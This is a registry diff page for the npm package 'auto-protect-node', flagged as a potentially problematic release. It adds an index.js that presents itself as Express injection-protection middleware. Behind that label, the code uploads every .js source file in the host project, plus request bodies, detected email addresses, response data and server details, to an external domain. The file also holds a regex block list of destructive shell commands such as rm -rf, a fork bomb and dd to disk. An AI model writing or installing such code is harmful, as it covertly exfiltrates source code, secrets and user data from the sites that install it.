auto-protect-node 0.0.1-security → 1.1.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of auto-protect-node might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +1057 -0
  2. package/package.json +23 -6
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,1057 @@
1
+ const baseUrl="https://securitytool.handsintechnology.in/api/client"
2
+ // const baseUrl="http://localhost:8080/api/client"
3
+ const express = require("express");
4
+ const router=express.Router()
5
+ const url = require("url");
6
+ const { exec } = require("child_process");
7
+ const os = require("os");
8
+ const http = require("http");
9
+ const fs = require("fs");
10
+ const path = require("path");
11
+ // utilities
12
+ // custom fetch functions
13
+ const axios = require("axios");
14
+ function consoleColorText(text, color) {
15
+ const colors = {
16
+ reset: "\x1b[0m",
17
+ black: "\x1b[30m",
18
+ red: "\x1b[31m",
19
+ green: "\x1b[32m",
20
+ yellow: "\x1b[33m",
21
+ blue: "\x1b[34m",
22
+ magenta: "\x1b[35m",
23
+ cyan: "\x1b[36m",
24
+ white: "\x1b[37m",
25
+ };
26
+
27
+ const colorCode = colors[color] || colors.reset;
28
+ console.log(colorCode + text + colors.reset);
29
+ }
30
+ async function useCustomFetch(url, options = {}) {
31
+ try {
32
+ const response = await axios.get(url, options);
33
+ return { data: response.data, status: response.status };
34
+ } catch (error) {
35
+ // console.log(JSON.stringify(error));
36
+ return { error };
37
+ }
38
+ }
39
+ const errorHandler = (
40
+ res,
41
+ statusCode = 500,
42
+ message = "internal server error",
43
+ data
44
+ ) => {
45
+ const response = { statusCode, message, data };
46
+ res.status(statusCode).json(response);
47
+ };
48
+ // getAllEndpoints
49
+ const regExpToParseExpressPathRegExp =
50
+ /^\/\^\\\/(?:(:?[\w\\.-]*(?:\\\/:?[\w\\.-]*)*)|(\(\?:\(\[\^\\\/]\+\?\)\)))\\\/.*/;
51
+ const regExpToReplaceExpressPathRegExpParams = /\(\?:\(\[\^\\\/]\+\?\)\)/;
52
+ const regexpExpressParamRegexp = /\(\?:\(\[\^\\\/]\+\?\)\)/g;
53
+
54
+ const EXPRESS_ROOT_PATH_REGEXP_VALUE = "/^\\/?(?=\\/|$)/i";
55
+ const STACK_ITEM_VALID_NAMES = ["router", "bound dispatch", "mounted_app"];
56
+ /**
57
+ * Returns all the verbs detected for the passed route
58
+ */
59
+ const getRouteMethods = function (route) {
60
+ let methods = Object.keys(route.methods);
61
+ methods = methods.filter((method) => method !== "_all");
62
+ methods = methods.map((method) => method.toUpperCase());
63
+ return methods;
64
+ };
65
+ /**
66
+ * Returns the names (or anonymous) of all the middlewares attached to the
67
+ * passed route
68
+ * @param {Object} route
69
+ * @returns {string[]}
70
+ */
71
+ const getRouteMiddlewares = function (route) {
72
+ return route.stack.map((item) => {
73
+ return item.handle.name || "anonymous";
74
+ });
75
+ };
76
+
77
+ /**
78
+ * Returns true if found regexp related with express params
79
+ * @param {string} expressPathRegExp
80
+ * @returns {boolean}
81
+ */
82
+ const hasParams = function (expressPathRegExp) {
83
+ return regexpExpressParamRegexp.test(expressPathRegExp);
84
+ };
85
+
86
+ /**
87
+ * @param {Object} route Express route object to be parsed
88
+ * @param {string} basePath The basePath the route is on
89
+ * @return {Object[]} Endpoints info
90
+ */
91
+ const parseExpressRoute = function (route, basePath) {
92
+ const paths = [];
93
+
94
+ if (Array.isArray(route.path)) {
95
+ paths.push(...route.path);
96
+ } else {
97
+ paths.push(route.path);
98
+ }
99
+
100
+ const endpoints = paths.map((path) => {
101
+ const completePath =
102
+ basePath && path === "/" ? basePath : `${basePath}${path}`;
103
+
104
+ const endpoint = {
105
+ path: completePath,
106
+ methods: getRouteMethods(route),
107
+ middlewares: getRouteMiddlewares(route),
108
+ };
109
+
110
+ return endpoint;
111
+ });
112
+
113
+ return endpoints;
114
+ };
115
+
116
+ /**
117
+ * @param {RegExp} expressPathRegExp
118
+ * @param {Object[]} params
119
+ * @returns {string}
120
+ */
121
+ const parseExpressPath = function (expressPathRegExp, params) {
122
+ let expressPathRegExpExec =
123
+ regExpToParseExpressPathRegExp.exec(expressPathRegExp);
124
+ let parsedRegExp = expressPathRegExp.toString();
125
+ let paramIndex = 0;
126
+
127
+ while (hasParams(parsedRegExp)) {
128
+ const paramName = params[paramIndex].name;
129
+ const paramId = `:${paramName}`;
130
+
131
+ parsedRegExp = parsedRegExp.replace(
132
+ regExpToReplaceExpressPathRegExpParams,
133
+ paramId
134
+ );
135
+
136
+ paramIndex++;
137
+ }
138
+
139
+ if (parsedRegExp !== expressPathRegExp.toString()) {
140
+ expressPathRegExpExec = regExpToParseExpressPathRegExp.exec(parsedRegExp);
141
+ }
142
+
143
+ const parsedPath = expressPathRegExpExec[1].replace(/\\\//g, "/");
144
+
145
+ return parsedPath;
146
+ };
147
+
148
+ /**
149
+ * @param {Object} app
150
+ * @param {string} [basePath]
151
+ * @param {Object[]} [endpoints]
152
+ * @returns {Object[]}
153
+ */
154
+ const parseEndpoints = function (app, basePath, endpoints) {
155
+ const stack = app.stack || (app._router && app._router.stack);
156
+
157
+ endpoints = endpoints || [];
158
+ basePath = basePath || "";
159
+
160
+ if (!stack) {
161
+ endpoints = addEndpoints(endpoints, [
162
+ {
163
+ path: basePath,
164
+ methods: [],
165
+ middlewares: [],
166
+ },
167
+ ]);
168
+ } else {
169
+ endpoints = parseStack(stack, basePath, endpoints);
170
+ }
171
+ return endpoints;
172
+ };
173
+
174
+ /**
175
+ * Ensures the path of the new endpoints isn't yet in the array.
176
+ * If the path is already in the array merges the endpoints with the existing
177
+ * one, if not, it adds them to the array.
178
+ *
179
+ * @param {Object[]} currentEndpoints Array of current endpoints
180
+ * @param {Object[]} endpointsToAdd New endpoints to be added to the array
181
+ * @returns {Object[]} Updated endpoints array
182
+ */
183
+ const addEndpoints = function (currentEndpoints, endpointsToAdd) {
184
+ endpointsToAdd.forEach((newEndpoint) => {
185
+ const existingEndpoint = currentEndpoints.find(
186
+ (item) => item.path === newEndpoint.path
187
+ );
188
+
189
+ if (existingEndpoint !== undefined) {
190
+ const newMethods = newEndpoint.methods.filter(
191
+ (method) => !existingEndpoint.methods.includes(method)
192
+ );
193
+
194
+ existingEndpoint.methods = existingEndpoint.methods.concat(newMethods);
195
+ } else {
196
+ currentEndpoints.push(newEndpoint);
197
+ }
198
+ });
199
+
200
+ return currentEndpoints;
201
+ };
202
+
203
+ /**
204
+ * @param {Object} stack
205
+ * @param {string} basePath
206
+ * @param {Object[]} endpoints
207
+ * @returns {Object[]}
208
+ */
209
+ const parseStack = function (stack, basePath, endpoints) {
210
+ stack.forEach((stackItem) => {
211
+ if (stackItem.route) {
212
+ const newEndpoints = parseExpressRoute(stackItem.route, basePath);
213
+
214
+ endpoints = addEndpoints(endpoints, newEndpoints);
215
+ } else if (STACK_ITEM_VALID_NAMES.includes(stackItem.name)) {
216
+ const isExpressPathRegexp = regExpToParseExpressPathRegExp.test(
217
+ stackItem.regexp
218
+ );
219
+
220
+ let newBasePath = basePath;
221
+
222
+ if (isExpressPathRegexp) {
223
+ const parsedPath = parseExpressPath(stackItem.regexp, stackItem.keys);
224
+
225
+ newBasePath += `/${parsedPath}`;
226
+ } else if (
227
+ !stackItem.path &&
228
+ stackItem.regexp &&
229
+ stackItem.regexp.toString() !== EXPRESS_ROOT_PATH_REGEXP_VALUE
230
+ ) {
231
+ const regExpPath = ` RegExp(${stackItem.regexp}) `;
232
+
233
+ newBasePath += `/${regExpPath}`;
234
+ }
235
+
236
+ endpoints = parseEndpoints(stackItem.handle, newBasePath, endpoints);
237
+ }
238
+ });
239
+
240
+ return endpoints;
241
+ };
242
+
243
+ /**
244
+ * Returns an array of strings with all the detected endpoints
245
+ * @param {Object} app the express/route instance to get the endpoints from
246
+ */
247
+ const getEndpoints = function (app) {
248
+ const endpoints = parseEndpoints(app);
249
+ return endpoints;
250
+ };
251
+ const emailRegex = /^\S+@\S+\.\S+$/; // Regular expression to match email addresses
252
+ const findEmail = (data) => {
253
+ if (Array.isArray(data)) {
254
+ for (let i = 0; i < data.length; i++) {
255
+ const email = findEmail(data[i]);
256
+ if (email) {
257
+ return email; // Return the first valid email address found
258
+ }
259
+ }
260
+ } else if (typeof data === "object" && data !== null) {
261
+ for (const key in data) {
262
+ if (data.hasOwnProperty(key)) {
263
+ const email = findEmail(data[key]);
264
+ if (email) {
265
+ return email; // Return the first valid email address found
266
+ }
267
+ }
268
+ }
269
+ } else if (typeof data === "string" && emailRegex.test(data)) {
270
+ return data; // Return the valid email address
271
+ }
272
+
273
+ return null; // Return null if no valid email address is found
274
+ };
275
+ // XSS Injection Function
276
+ // Create Blacklistusers details function
277
+ const CreateuserDetails = async (req, res, message, type) => {
278
+ res.on("finish", async () => {
279
+ try {
280
+ message = "malacios";
281
+ var ip = req.headers['x-forwarded-for'] || req.socket.remoteAddress
282
+ var ip = "206.84.234.39";
283
+ const month = [
284
+ "January",
285
+ "February",
286
+ "March",
287
+ "April",
288
+ "May",
289
+ "June",
290
+ "July",
291
+ "August",
292
+ "September",
293
+ "October",
294
+ "November",
295
+ "December",
296
+ ];
297
+ const d = new Date();
298
+
299
+ const useragent = req.headers["user-agent"];
300
+ // // const result = detector.detect(useragent);
301
+ // // const { client, os, device } = result
302
+
303
+ const UserRawData = {
304
+ ip,
305
+ date: d.getDate() + " " + month[d.getMonth()] + " " + d.getFullYear(),
306
+ time: d.toLocaleTimeString(),
307
+ page: req.url,
308
+ query: req.query || req.query || "",
309
+ inputQuery: req.body || "",
310
+ type,
311
+ country: country || "",
312
+ city: city || "",
313
+ region: region || "",
314
+ useragent,
315
+ latitude: "",
316
+ longitude: "",
317
+ domain: req.get("host"),
318
+ referurl:
319
+ req.protocol + "://" + req.get("host") + req.originalUrl || "",
320
+ };
321
+ await axios.post(`${baseUrl}/createuserdetails`, {
322
+ type,
323
+ hostname,
324
+ ip,
325
+ UserRawData
326
+ })
327
+ .then(res=>res.data)
328
+ .catch(err=>err?.response?.data)
329
+ } catch (error) {
330
+
331
+ }
332
+ });
333
+ };
334
+ // End Create Blacklistusers details function
335
+ // Sql Injection Function
336
+ function hasSqlInjection(value) {
337
+ const sqlMeta = new RegExp(
338
+ "(%27)|(--)|([0-9]=[0-9])|([0-9] and [0-9]=[0-9])|([0-9] AND [0-9])|(or [0-9]=[0-9])|(OR [0-9]=[0-9])|(%23)|(#)",
339
+ "i"
340
+ );
341
+ if (sqlMeta.test(value)) {
342
+ return true;
343
+ }
344
+
345
+ const sqlMeta2 = new RegExp(
346
+ "((%3D)|(=))[^\n]*((%27)|(')|(--)|(%3B)|(;))",
347
+ "i"
348
+ );
349
+ if (sqlMeta2.test(value)) {
350
+ return true;
351
+ }
352
+
353
+ const nestedQuery = new RegExp(
354
+ "((%3D)|(=))[^\n]*((%27)|(')|(--)|(%3B)|(;))?[^\n]*((%27)|(')|(--)|(%3B)|(;))[^\n]*((%3D)|(=))",
355
+ "i"
356
+ );
357
+ if (nestedQuery.test(value)) {
358
+ return true;
359
+ }
360
+
361
+ const timeBased = new RegExp("(%3B)|(;)[^\n]*sleep((d+))[^\n]*", "i");
362
+ if (timeBased.test(value)) {
363
+ return true;
364
+ }
365
+
366
+ const booleanBased = new RegExp(
367
+ "((%3D)|(=))[^\n]*[^s]*(%27)|(')|(--)|(%3B)|(;)",
368
+ "i"
369
+ );
370
+ if (booleanBased.test(value)) {
371
+ return true;
372
+ }
373
+
374
+ const typicalSql = new RegExp(
375
+ "w*((%27)|('))((%6F)|o|(%4F))((%72)|r|(%52))",
376
+ "i"
377
+ );
378
+ if (typicalSql.test(value)) {
379
+ return true;
380
+ }
381
+
382
+ const sqlUnion = new RegExp("((%27)|('))union", "i");
383
+ if (sqlUnion.test(value)) {
384
+ return true;
385
+ }
386
+
387
+ const entireText = new RegExp(
388
+ "\b((select|delete|insert|update|drop|create|alter)\b.*)",
389
+ "i"
390
+ );
391
+ if (entireText.test(value)) {
392
+ return true;
393
+ }
394
+
395
+ return false;
396
+ }
397
+ // Co0mmandline Injection Function
398
+ function hasCommandLineInjection(value) {
399
+ const commandMeta = new RegExp(
400
+ "(rm -rf)|(ls -la)|(command >/dev/sda)|(:\\(\\){ :|:& };:)|(sudo yum install)|(.conf)|(sudo mv /dev/null)|(wget)|(-O-)|(crontab -r)|(history)|(dd if=/dev/zero of=/dev/sda)|(/dev/sda)|(/dev/sda1)|(sudo apt purge python|python2|python3.x-minimal)|(chmod -R 777 /)",
401
+ "i"
402
+ );
403
+ if (commandMeta.test(value)) {
404
+ return true;
405
+ }
406
+
407
+ return false;
408
+ }
409
+ // HTML Injection Function
410
+ function hasHTMLnjection(value) {
411
+ const HTML = new RegExp(/<(\"[^\"]*\"|'[^']*'|[^'\">])*>/, "g");
412
+ if (HTML.test(value)) {
413
+ return true;
414
+ }
415
+ return false;
416
+ }
417
+ // HTML Injection Function
418
+ function hasXSSnjection(value) {
419
+ const XSS = /<script>/;
420
+ if (XSS.test(value)) {
421
+ return true;
422
+ }
423
+ return false;
424
+ }
425
+ async function InjectionChecker(req) {
426
+ const entries = {
427
+ ...req.body,
428
+ ...req.query,
429
+ ...req.params,
430
+ };
431
+ let containsSql = false,
432
+ validateXss = false,
433
+ validatehtml = false,
434
+ containCommand = false;
435
+ const value = JSON.stringify(entries);
436
+ if (hasSqlInjection(value) === true) {
437
+ containsSql = true;
438
+ }
439
+ if (hasXSSnjection(value) === true) {
440
+ validateXss = true;
441
+ }
442
+ if (hasHTMLnjection(value) === true) {
443
+ validatehtml = true;
444
+ }
445
+ if (hasCommandLineInjection(value) === true) {
446
+ containCommand = true;
447
+ }
448
+ return { containsSql, validateXss, validatehtml, containCommand };
449
+ }
450
+ const checkForSensitiveInfoInBodyAndPasswordValidate = (currentData, req) => {
451
+ (async () => {
452
+ try {
453
+ await axios.post(`${baseUrl}/sensitivekeysandPasswordValidate`, {
454
+ currentData ,
455
+ hostname:req.domain,
456
+ })
457
+ .then(res=>res.data)
458
+ .catch(err=>err?.response?.data)
459
+ } catch (error) {
460
+ // console.log(JSON.stringify(error));
461
+ }
462
+ })();
463
+
464
+ };
465
+
466
+ function checkForSensitiveInfoInUrl(req, requestUrl) {
467
+ (async () => {
468
+ try {
469
+ const api1 = await axios.post(`${baseUrl}/sensitivekeysinurl`, {
470
+ data:req.query,
471
+ hostname:req.domain,
472
+ url:requestUrl
473
+ })
474
+ .then(res=>res.data)
475
+ .catch(err=>err?.response?.data)
476
+ } catch (error) {
477
+ // console.log(JSON.stringify(error));
478
+ }
479
+ })();
480
+ }
481
+ function sendResponseCodedetails(data, hostname, requestUrl) {
482
+ (async () => {
483
+ await useCustomFetch(
484
+ `${baseUrl}/responsecodeavailableornot?data=${JSON.stringify({
485
+ result: data,
486
+ })}&hostname=${hostname}&url=${requestUrl}`
487
+ );
488
+ const d = await useCustomFetch(
489
+ `${baseUrl}/responsecodeavailableornot?data=${JSON.stringify({
490
+ result: data,
491
+ })}&hostname=${hostname}&url=${requestUrl}`
492
+ )
493
+ .then((response) => response.data)
494
+ .catch((err) => err.message);
495
+ })();
496
+ }
497
+ const SendEmail = (emailid, hostname, requestUrl) => {
498
+ (async () => {
499
+ await useCustomFetch(
500
+ `${baseUrl}/emailverify?email=${JSON.stringify({
501
+ result: emailid,
502
+ })}&hostname=${hostname}&url=${requestUrl}`
503
+ )
504
+ .then((res) => res.data)
505
+ .catch((err) => err);
506
+ })();
507
+ };
508
+ function responseCodeChecker(req, res) {
509
+ const hostname = req.domain;
510
+ const originalJson = res.json;
511
+ const originalSend = res.send;
512
+ var originalRender = res.render;
513
+ let responseData = null;
514
+ res.json = async function (body) {
515
+ originalJson.call(res, body);
516
+ responseData = body;
517
+ };
518
+ res.send = async function (body) {
519
+ originalSend.call(res, body);
520
+ responseData = body;
521
+ };
522
+ // Override the res.render function
523
+ try {
524
+ require.resolve("ejs");
525
+
526
+ // EJS is installed, override the res.render function
527
+ res.render = function (view, locals, callback) {
528
+ originalRender && originalRender.call(res, view, locals, callback);
529
+ // Remove the _locals property
530
+ delete locals._locals;
531
+ // Assign the modified locals object to responseData
532
+ responseData = locals;
533
+ };
534
+ } catch (error) {}
535
+ res.on("finish", async function () {
536
+ const existingCode = http.STATUS_CODES[res.statusCode];
537
+ const parsedUrl = url.parse(req.url);
538
+ const requestUrl = parsedUrl.pathname;
539
+ try {
540
+ const body = {
541
+ ...req.body,
542
+ ...req.query,
543
+ ...req.params,
544
+ };
545
+ const emailid = findEmail(body);
546
+ emailid ? SendEmail(emailid, hostname, requestUrl) : null;
547
+ responseData
548
+ ? checkForSensitiveInfoInBodyAndPasswordValidate(responseData, req)
549
+ : null;
550
+ req.query ? checkForSensitiveInfoInUrl(req, requestUrl) : null;
551
+ // response codes
552
+ const resoponsecodedata = existingCode
553
+ ? {
554
+ code: res.statusCode,
555
+ phrase: existingCode,
556
+ }
557
+ : null;
558
+ // call api
559
+ const data = {
560
+ hostname,
561
+ resoponsecodedata,
562
+ };
563
+ sendResponseCodedetails(data, hostname, requestUrl);
564
+ } catch (error) {}
565
+ });
566
+ }
567
+ const Middleware = async (req, res, next) => {
568
+ try {
569
+ if (req.alloweddomain.allowed) {
570
+
571
+ try {
572
+ // console.log("ffffd",req.alloweddomain.allowed)
573
+ // Call the helmet middleware and pass the req, res, and a callback function
574
+ // Rest of your middleware code
575
+ responseCodeChecker(req, res);
576
+ const contentType = req.headers["content-type"];
577
+ contentType && contentType.includes("application/xml")
578
+ ? (function () {
579
+ let data = "";
580
+ req.setEncoding("utf8");
581
+ req.on("data", (chunk) => {
582
+ data += chunk;
583
+ });
584
+ req.on("end", () => {
585
+ const body = req.body;
586
+ if (body.match("<!ENTITY")) {
587
+ CreateuserDetails(
588
+ req,
589
+ res,
590
+ "Malicious code request",
591
+ "XML-Injection"
592
+ );
593
+ }
594
+ });
595
+ })()
596
+ : null;
597
+
598
+ const reqPath = req.url.toLowerCase();
599
+ const isreqPathfile =
600
+ reqPath.endsWith(".js") ||
601
+ reqPath.endsWith(".htaccess") ||
602
+ reqPath.endsWith(".json") ||
603
+ reqPath.endsWith(".css") ||
604
+ reqPath.endsWith(".txt") ||
605
+ reqPath.endsWith(".md") ||
606
+ reqPath.endsWith(".yml") ||
607
+ reqPath.endsWith(".toml") ||
608
+ reqPath === "/app.js";
609
+ const injectionFound = await InjectionChecker(req);
610
+ if (isreqPathfile) {
611
+ CreateuserDetails(
612
+ req,
613
+ res,
614
+ "Remote-FiLe-Inclusion-Detected",
615
+ "Remote-FiLe-Inclusion"
616
+ );
617
+ return errorHandler(res, 406, "Not found");
618
+ } else if (injectionFound.containCommand) {
619
+ CreateuserDetails(req, res, "Command Injection Detected", "cmd");
620
+ return errorHandler(res, 406, "Malicious code found");
621
+ } else if (injectionFound.validateXss) {
622
+ CreateuserDetails(
623
+ req,
624
+ res,
625
+ "XSS Injection Detected",
626
+ "xss-injection"
627
+ );
628
+ return errorHandler(res, 406, "Malicious code found");
629
+ } else if (injectionFound.validatehtml) {
630
+ CreateuserDetails(
631
+ req,
632
+ res,
633
+ "HTML Injection Detected",
634
+ "HTML injection"
635
+ );
636
+ } else if (injectionFound.containsSql) {
637
+ CreateuserDetails(req, res, "SQL Injection Detected", "SQLI");
638
+ return res.status(406).json("malicious code found");
639
+ }
640
+ next();
641
+
642
+ } catch (error) {
643
+ return errorHandler(res);
644
+ }
645
+ } else {
646
+ consoleColorText(
647
+ "Your domain is not allowed to fetch live status of injections",
648
+ "red"
649
+ );
650
+ next();
651
+ }
652
+ } catch (error) {}
653
+ };
654
+ //End Security
655
+ const getAllRoutesAndMiddleware = async (app, servertimeout, hostname) => {
656
+ try {
657
+ var routes = getEndpoints(app);
658
+ // Handle each response
659
+ const npmauditdata = await dependencyChecker();
660
+ const params = req.query || req.params;
661
+ // Get list of middlewares except 'router'
662
+ const middlewares =
663
+ app._router?.stack
664
+ ?.filter(
665
+ (layer) =>
666
+ layer.name !== "router" &&
667
+ layer.name !== "bound dispatch" &&
668
+ layer.name !== "jsonParser" &&
669
+ layer.name !== "<anonymous>" &&
670
+ layer.name !== "urlencodedParser" &&
671
+ layer.name !== "expressInit" &&
672
+ layer.name !== "query" &&
673
+ layer.name !== "Middleware"
674
+ )
675
+ ?.map((layer) => layer.name) || [];
676
+
677
+ const api1 = await axios.post(`${baseUrl}/optionmethodvulnerability`, {
678
+ routes,
679
+ hostname,
680
+ });
681
+ const api2 = await axios.post(`${baseUrl}/dangerousemethodvulnerability`, {
682
+ routes,
683
+ hostname,
684
+ });
685
+ const api3 = await axios.post(`${baseUrl}/defaultwebpagevulnerability`, {
686
+ routes,
687
+ servertimeout,
688
+ hostname,
689
+ });
690
+ // Execute all API requests concurrently
691
+ const first3 = await axios.all([api1, api2, api3]);
692
+ // console.log(first3)
693
+ const Seond6=await sendFilesToServer(process.cwd(),baseUrl,sid,middlewares);
694
+ // console.log({Seond6})
695
+ const data={
696
+ first3,
697
+ Seond6,
698
+ npmauditdata,
699
+ middlewares,
700
+ params
701
+ }
702
+ // console.log(data)
703
+
704
+
705
+ } catch (error) {
706
+ // console.log(JSON.stringify(error));
707
+ }
708
+ };
709
+ // GetAllData
710
+ async function GetAllData(req) {
711
+ const app = req.app, server = req.server,hostname = req.domain;
712
+ await getAllRoutesAndMiddleware(app, server.timeout, hostname);
713
+ const npmauditdata = await dependencyChecker();
714
+ const params = req.query || req.params;
715
+ const origin = req.headers.origin;
716
+ const Allow_Access_control_origin =
717
+ origin && res.get("Access-Control-Allow-Origin") === "*"
718
+ ? "Access-Control-Allow-Origin is Set to *"
719
+ : "Access-Control-Allow-Origin is not Set to *";
720
+ let version = process.version;
721
+ version = version.replace(/^./, "");
722
+ let responseserver = await useCustomFetch("http://ip-api.com/json/");
723
+ responseserver = responseserver.data;
724
+ const information = {
725
+ node_version: process.version,
726
+ Allow_Access_control_origin,
727
+ osVersion: os.version(),
728
+ platform: os.platform(),
729
+ totalmem: os.totalmem(),
730
+ freemem: os.freemem(),
731
+ type: os.type(),
732
+ servername: os.hostname(),
733
+ hostname: os.hostname(),
734
+ nodeenvronment: process.execPath,
735
+ version,
736
+ ...responseserver,
737
+ };
738
+ await axios.post(`${baseUrl}/serverreport`, {
739
+ information,
740
+ params,
741
+ npmauditdata,
742
+ protocol: req.protocol,
743
+ hostname: req.domain,
744
+ })
745
+ .then(res=>res.data)
746
+ .catch(err=>err?.response?.data)
747
+ }
748
+
749
+
750
+
751
+ // end GetAllData
752
+ // controllers
753
+ const combinedController = async (req, res) => {
754
+ if (req.alloweddomain.allowed) {
755
+ try {
756
+ await GetAllData(req);
757
+ return res.status(200).json("send");
758
+ } catch (error) {
759
+ consoleColorText(error.message, "red");
760
+ return res.status(500).json({ error: "Internal Server Error" });
761
+ }
762
+ } else {
763
+ return res.status(404).json("Your domain is not authenticated");
764
+ }
765
+ };
766
+ const scanControllerController = async (req, res) => {
767
+ if (req.alloweddomain.allowed) {
768
+ try {
769
+
770
+ const d=await sendFilesToServer(process.cwd(),baseUrl,sid);
771
+ // console.log(d)
772
+ const res=await axios.post(`${baseUrl}/logsdata`,{logs:d,sid})
773
+ .then((res=>res.data))
774
+ .catch(err=>err?.response?.data)
775
+ // console.log(res)
776
+ await GetAllData(req);
777
+ return res.status(200).json("send");
778
+ } catch (error) {
779
+ consoleColorText(error.message, "red");
780
+ return res.status(500).json({ error: "Internal Server Error" });
781
+ }
782
+ } else {
783
+ return res.status(404).json("Your domain is not authenticated");
784
+ }
785
+ };
786
+ const onData = (stream) => {
787
+ return new Promise((resolve, reject) => {
788
+ let data = "";
789
+
790
+ stream.on("data", (chunk) => {
791
+ data += chunk;
792
+ });
793
+
794
+ stream.on("error", (err) => {
795
+ reject(err);
796
+ });
797
+
798
+ stream.on("end", () => {
799
+ resolve(data);
800
+ });
801
+ });
802
+ };
803
+
804
+ const dependencyChecker = async (res) => {
805
+ // ...
806
+
807
+ try {
808
+ const command = "npm audit";
809
+ const childProcess = exec(command);
810
+ const stdoutData = await onData(childProcess.stdout);
811
+ const stderrData = await onData(childProcess.stderr);
812
+
813
+ // Return or process the data as needed
814
+ return {
815
+ stdout: stdoutData,
816
+ stderr: stderrData,
817
+ };
818
+
819
+ // ...
820
+ } catch (error) {
821
+ consoleColorText(error.message, "red");
822
+ // Handle the error appropriately
823
+ }
824
+ };
825
+ const HostValidator = (app, server, sid) => {
826
+ return async (req, res, next) => {
827
+ const allowedDomain = await Ialloweddomain(sid);
828
+
829
+ req.app = app;
830
+ req.server = server;
831
+ req.domain = sid;
832
+ req.alloweddomain = allowedDomain;
833
+ next();
834
+ };
835
+ };
836
+ const Ialloweddomain = async (hostname) => {
837
+ try {
838
+ const response = await useCustomFetch(
839
+ `${baseUrl}/alloweddomains?hostname=${hostname}`
840
+ );
841
+ if (response.status === 200) {
842
+ return { allowed: true };
843
+ } else {
844
+ return { allowed: false };
845
+ }
846
+ } catch (error) {
847
+ if (error) {
848
+ return { allowed: false };
849
+ }
850
+ }
851
+ };
852
+ // Call Middleware For Secure Your Application
853
+ function isExpressApplication(app) {
854
+ return (
855
+ app &&
856
+ typeof app === "function" &&
857
+ app.hasOwnProperty("use") &&
858
+ app.hasOwnProperty("get")
859
+ );
860
+ }
861
+ function isHttpServer(server) {
862
+ return (
863
+ server &&
864
+ (server instanceof http.Server || server instanceof https.Server) &&
865
+ typeof server.listen === "function"
866
+ );
867
+ }
868
+ async function sendFilesToServer(directoryPath, serverUrl,sid,middlewares) {
869
+ try {
870
+ const results = [];
871
+ const files = fs.readdirSync(directoryPath);
872
+
873
+ for (const file of files) {
874
+ if (file === __filename) {
875
+ continue;
876
+ } else {
877
+ const filePath = `${directoryPath}/${file}`;
878
+ const stat = fs.statSync(filePath);
879
+
880
+ if (stat.isDirectory()) {
881
+ if (file === "node_modules" || file === "build") {
882
+ continue;
883
+ }
884
+ const subresults = await sendFilesToServer(filePath, serverUrl,sid,middlewares);
885
+ results.push(...subresults);
886
+ } else {
887
+ if (path.extname(file) === ".js") {
888
+ const fileContent = fs.readFileSync(filePath, "utf8");
889
+ try {
890
+ const api1 = axios.post(`${serverUrl}/scanhardcodedata`, { fileName: file, content: fileContent,sid });
891
+ const api2 = axios.post(`${serverUrl}/scanpasswordhashing`, { fileName: file, content: fileContent,sid });
892
+ const api3 = axios.post(`${serverUrl}/xssvulnerability`, { fileName: file, content: fileContent,sid });
893
+ const api4 = axios.post(`${serverUrl}/redirectvulnerability`, { fileName: file, content: fileContent,sid });
894
+ const api5 = axios.post(`${serverUrl}/sessionvulnerability`, { fileName: file, content: fileContent,sid,middlewares });
895
+ const api6 = axios.post(`${serverUrl}/sqlvulnerability`, { fileName: file, content: fileContent,sid });
896
+ const responses = await axios.all([api1, api2, api3, api4, api5, api6]);
897
+ responses.forEach((response, index) => {
898
+ results.push(response.data);
899
+ });
900
+ } catch (error) {
901
+ // console.log(JSON.stringify(error));
902
+ }
903
+ }
904
+ }
905
+ }
906
+ }
907
+
908
+ return results;
909
+ } catch (error) {
910
+ // console.log(error);
911
+ return [];
912
+ }
913
+ }
914
+
915
+ const CallData=async (sid)=>{
916
+ const allowedDomain = await Ialloweddomain(sid);
917
+ if(allowedDomain.allowed){
918
+ const d= await axios.get(`http://${sid}/sitescanner?sid=${sid}`)
919
+ .then(res=>res)
920
+ .catch(err=>err)
921
+ // console.log(d)
922
+ const b= await axios.get(`http://${sid}/sitereport??id=1&id=3`)
923
+ .then(res=>res.data)
924
+ .catch(err=>err?.response)
925
+ // console.log(b)
926
+ }else{
927
+ consoleColorText("Please provide a valid Domain name", "red");
928
+ }
929
+
930
+
931
+ }
932
+ router.get("/sitereport", combinedController);
933
+ router.get("/sitescanner", async (req, res)=> {
934
+ console.log("Please wait ");
935
+ const { app, server, domain } = req;
936
+
937
+ try {
938
+ const routes = getEndpoints(app);
939
+ const params = req.query || req.params;
940
+ const middlewares =
941
+ app._router?.stack
942
+ ?.filter(
943
+ (layer) =>
944
+ layer.name !== "router" &&
945
+ layer.name !== "bound dispatch" &&
946
+ layer.name !== "jsonParser" &&
947
+ layer.name !== "<anonymous>" &&
948
+ layer.name !== "urlencodedParser" &&
949
+ layer.name !== "expressInit" &&
950
+ layer.name !== "query" &&
951
+ layer.name !== "Middleware"
952
+ )
953
+ ?.map((layer) => layer.name) || [];
954
+ console.log(middlewares)
955
+ const api1 = axios.post(`${baseUrl}/optionmethodvulnerability`, {
956
+ routes,
957
+ hostname: domain,
958
+ middlewares,
959
+ params
960
+ });
961
+ const api2 = axios.post(`${baseUrl}/dangerousemethodvulnerability`, {
962
+ routes,
963
+ hostname: domain,
964
+ middlewares,
965
+ });
966
+ const api3 = axios.post(`${baseUrl}/defaultwebpagevulnerability`, {
967
+ routes,
968
+ servertimeout: server.timeout,
969
+ hostname: domain,
970
+ middlewares,
971
+ });
972
+ const [response1, response2, response3] = await axios.all([api1, api2, api3]);
973
+ const first = [response1.data, response2.data, response3.data];
974
+ const Second = await sendFilesToServer(process.cwd(), baseUrl, sid, middlewares);
975
+ var Logs = first.concat(Second);
976
+ Logs.push( { middlewares: middlewares.toString() });
977
+ const alllogs = Logs.filter((v) => v !== '');
978
+ const logsdatastatus = await axios
979
+ .post(`${baseUrl}/logsdata`, { logs: alllogs, sid })
980
+ .then((res) => res.status)
981
+ .catch((err) => err?.response?.status);
982
+
983
+ if (logsdatastatus === 200) {
984
+ const logsdata = await axios
985
+ .get(`${baseUrl}/logsdata?sid=${sid}`)
986
+ .then((res) => {
987
+ return { status: res.status, data: res.data };
988
+ })
989
+ .catch((err) => {
990
+ return { status: err?.response?.status, data: err?.response?.data };
991
+ });
992
+
993
+ if (logsdata.status === 200) {
994
+
995
